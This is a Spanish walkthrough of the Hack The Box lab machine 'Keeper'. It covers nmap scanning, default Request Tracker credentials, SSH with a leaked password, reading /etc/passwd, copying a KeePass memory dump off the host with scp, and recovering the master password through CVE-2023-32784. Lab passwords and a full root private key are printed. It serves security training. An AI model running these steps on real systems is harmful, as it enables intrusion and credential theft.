Descripción

Keeper es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Uso de credenciales por defecto
  • Exposición de datos sensibles
  • Recuperación de la contraseña de KeePass usando un volcado de memoria

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.227.

$ ping -c 3 10.10.11.227
PING 10.10.11.227 (10.10.11.227) 56(84) bytes of data.
64 bytes from 10.10.11.227: icmp_seq=1 ttl=63 time=233 ms
64 bytes from 10.10.11.227: icmp_seq=2 ttl=63 time=61.1 ms
64 bytes from 10.10.11.227: icmp_seq=3 ttl=63 time=51.7 ms

--- 10.10.11.227 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 51.715/115.171/232.728/83.212 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.227 -sS -oN nmap_scan2                
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.227
Host is up (0.082s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 58.91 seconds

Obtenemos dos puertos abiertos, 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.10.11.227 -sV -sC -p22,80 -oN nmap_scan_ports 
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.227
Host is up (0.056s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3539d439404b1f6186dd7c37bb4b989e (ECDSA)
|_  256 1ae972be8bb105d5effedd80d8efc066 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.85 seconds

Obtenemos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Con WhatWeb podemos comprobar que el servidor está ejecutando un servidor web nginx 1.18.0.

$ whatweb --log-brief web_techs http://10.10.11.227                                             
http://10.10.11.227 [200 OK] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.227], nginx[1.18.0]

Si abrimos la página web podemos ver un enlace que redirige al subdominio tickets.keeper.htb. Así que lo añadimos al archivo /etc/hosts.

$ echo "10.10.11.227 tickets.keeper.htb" | sudo tee -a /etc/hosts
10.10.11.227 tickets.keeper.htb

Luego descubrimos que el subdominio alberga un sistema de tickets, Request Tracker, en su versión 4.4+dfsg-2ubuntu1.

$ whatweb --log-brief web_techs_tickets http://tickets.keeper.htb
http://tickets.keeper.htb [200 OK] Cookies[RT_SID_tickets.keeper.htb.80], Country[RESERVED][ZZ], Email[sales@bestpractical.com], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[RT_SID_tickets.keeper.htb.80], IP[10.10.11.227], PasswordField[pass], Request-Tracker[4.4.4+dfsg-2ubuntu1], Script[text/javascript], Title[Login], X-Frame-Options[DENY], X-UA-Compatible[IE=edge], nginx[1.18.0]

Tenemos una página de inicio de sesión con un nombre de usuario y una contraseña.

Explotación

En el repositorio del software RT podemos ver que las credenciales predeterminadas son root como nombre de usuario y password como la contraseña. Así que si intentamos iniciar sesión podemos acceder al sitio web. Vemos que tenemos un nuevo ticket pendiente abierto por el usuario root. El ticket se trata de un problema con el administrador de contraseñas de KeePass, que se está bloqueando y se adjunta un volcado de memoria, pero fue eliminado por el agente de soporte lnorgaard (Lise Norgaard). Norgaard es un apellido de Dinamarca. Si accedemos al perfil del agente de soporte a través de la barra de menús > Admin > Users > Select, podemos encontrar un comentario con una contraseña, Welcome2023!. Si tratamos de iniciar sesión a través de SSH con el nombre de usuario de lnorgaard y la contraseña obtenida obtenemos acceso a la máquina.

$ ssh lnorgaard@10.10.11.227
The authenticity of host '10.10.11.227 (10.10.11.227)' can't be established.
ED25519 key fingerprint is SHA256:hczMXffNW5M3qOppqsTCzstpLKxrvdBjFYoJXJGpr7w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.227' (ED25519) to the list of known hosts.
lnorgaard@10.10.11.227's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have mail.

Post-Explotación

Si enumeramos los usuarios de consola de la máquina obtenemos aparte del usuario de lnorgaard, el usuario root.

lnorgaard@keeper:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
lnorgaard:x:1000:1000:lnorgaard,,,:/home/lnorgaard:/bin/bash

Cuando entramos en el sistema recibimos una notificación de que tenemos un nuevo correo, así que vamos a comprobar el archivo /var/mail/lnorgaard. Confirmamos que es el ticket creado anteriormente por lo que no tenemos información más valiosa.

lnorgaard@keeper:~$ cat /var/mail/lnorgaard 
From www-data@keeper.htb  Wed May 24 12:37:18 2023
Return-Path: <www-data@keeper.htb>
X-Original-To: lnorgaard@keeper.htb
Delivered-To: lnorgaard@keeper.htb
Received: by keeper.htb (Postfix, from userid 33)
        id 64BEF61083; Wed, 24 May 2023 12:37:18 +0200 (CEST)
From: "Enoch Root" <rt@keeper.htb>
...

Si enumeramos los archivos de la carpeta de usuario, encontramos dos archivos interesantes: el volcado de memoria del programa KeePass, KeePassDumpFull.dmp, y una bóveda de credenciales de KeePass, passcodes.kdbx.

lnorgaard@keeper:~$ ls -l
total 332848
-rwxr-x--- 1 lnorgaard lnorgaard 253395188 May 24 12:51 KeePassDumpFull.dmp
-rwxr-x--- 1 lnorgaard lnorgaard      3630 May 24 12:51 passcodes.kdbx

-rw-r----- 1 root      lnorgaard        33 May 24 12:51 user.txt

Como la contraseña de la bóveda puede estar dentro del volcado, vamos a extraer los dos archivos, extraer todas las cadenas del volcado y luego hacer un ataque de diccionario para tratar de recuperar la contraseña correcta. Podemos extraer los archivos con la herramienta scp.

$ scp lnorgaard@10.10.11.227:/home/lnorgaard/KeePassDumpFull.dmp .
lnorgaard@10.10.11.227's password: 
KeePassDumpFull.dmp                                                                                                                                  
$ scp lnorgaard@10.10.11.227:/home/lnorgaard/passcodes.kdbx .     
lnorgaard@10.10.11.227's password: 
passcodes.kdbx

Luego, extraemos las cadenas del volcado a un archivo de texto.

$ strings KeePassDumpFull.dmp > keepass.txt

Luego revisamos el número de contraseñas candidatas para comprobar.

$ cat keepass.txt| wc -l  
1988198

Obtuvimos alrededor de 2 millones de contraseñas para comprobar. El ataque tendrá una duración muy larga (en este caso de varias horas) por lo que vamos a cambiar el enfoque. La vulnerabilidad CVE-2023-32784 permite recuperar la contraseña maestra en texto claro de un volcado de memoria, incluso cuando la bóveda está bloqueada, en KeePass 2.x antes de 2.54. Como la versión 2.54 fue lanzada el 3 de junio de 2023 y el volcado fue generado el 24 de mayo de 2023 podemos confirmar que el volcado puede estar afectado por esta vulnerabilidad. En el repositorio de vdohney podemos encontrar un programa para volcar la posible contraseña del volcado de memoria. Así que vamos a descargarlo y ejecutarlo. Para ejecutar la aplicación es necesario tener .NET 7.0 instalado.

$ git clone https://github.com/vdohney/keepass-password-dumper
$ cd keepass-password-dumper
$ dotnet run ../KeePassDumpFull.dmp ../vuln_keepass.txt
Password candidates (character positions):
Unknown characters are displayed as "●"
1.:     ●
2.:     ,, l, `, -, ', ], A, I, :, =, _, c, M, 
3.:     d, 
4.:     g, 
5.:     r, 
6.:     ●
7.:     d, 
8.:      , 
9.:     m, 
10.:    e, 
11.:    d, 
12.:     , 
13.:    f, 
14.:    l, 
15.:    ●
16.:    d, 
17.:    e, 
Combined: ●{,, l, `, -, ', ], A, I, :, =, _, c, M}dgr●d med fl●de

Obtenemos una contraseña posible parcialmente “M}dgr●d med fl●de”. Los puntos son caracteres desconocidos. Ahora con eso tenemos que adivinar la contraseña, por ejemplo, vamos a cambiar los caracteres desconocidos con una letra ‘o’ y hacer una búsqueda en un motor de búsqueda. Encontramos una receta danesa llamada “rødgrød med fløde”, que coincide con el apellido del agente de soporte. Si revisamos la contraseña en KeePass obtenemos acceso a la bóveda de contraseñas y obtenemos las credenciales del usuario root en la categoría Network. Tenemos acceso a una clave privada en el campo notes y su contraseña, F4><3K0nd!. Necesitamos utilizar el programa PuTTY para iniciar sesión en el servidor a través de SSH. Configuramos el nombre de usuario del usuario para iniciar sesión. Luego configuramos la ubicación de la clave privada del usuario root.

$ cat pkey.txt 
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0

Finalmente tenemos la terminal de root en PuTTY.

Using username "root".
Authenticating with public key "rsa-key-20230519"
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have new mail.

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

root@keeper:~# cat /home/lnorgaard/user.txt
<REDACTED>
root@keeper:~# cat /root/root.txt
<REDACTED>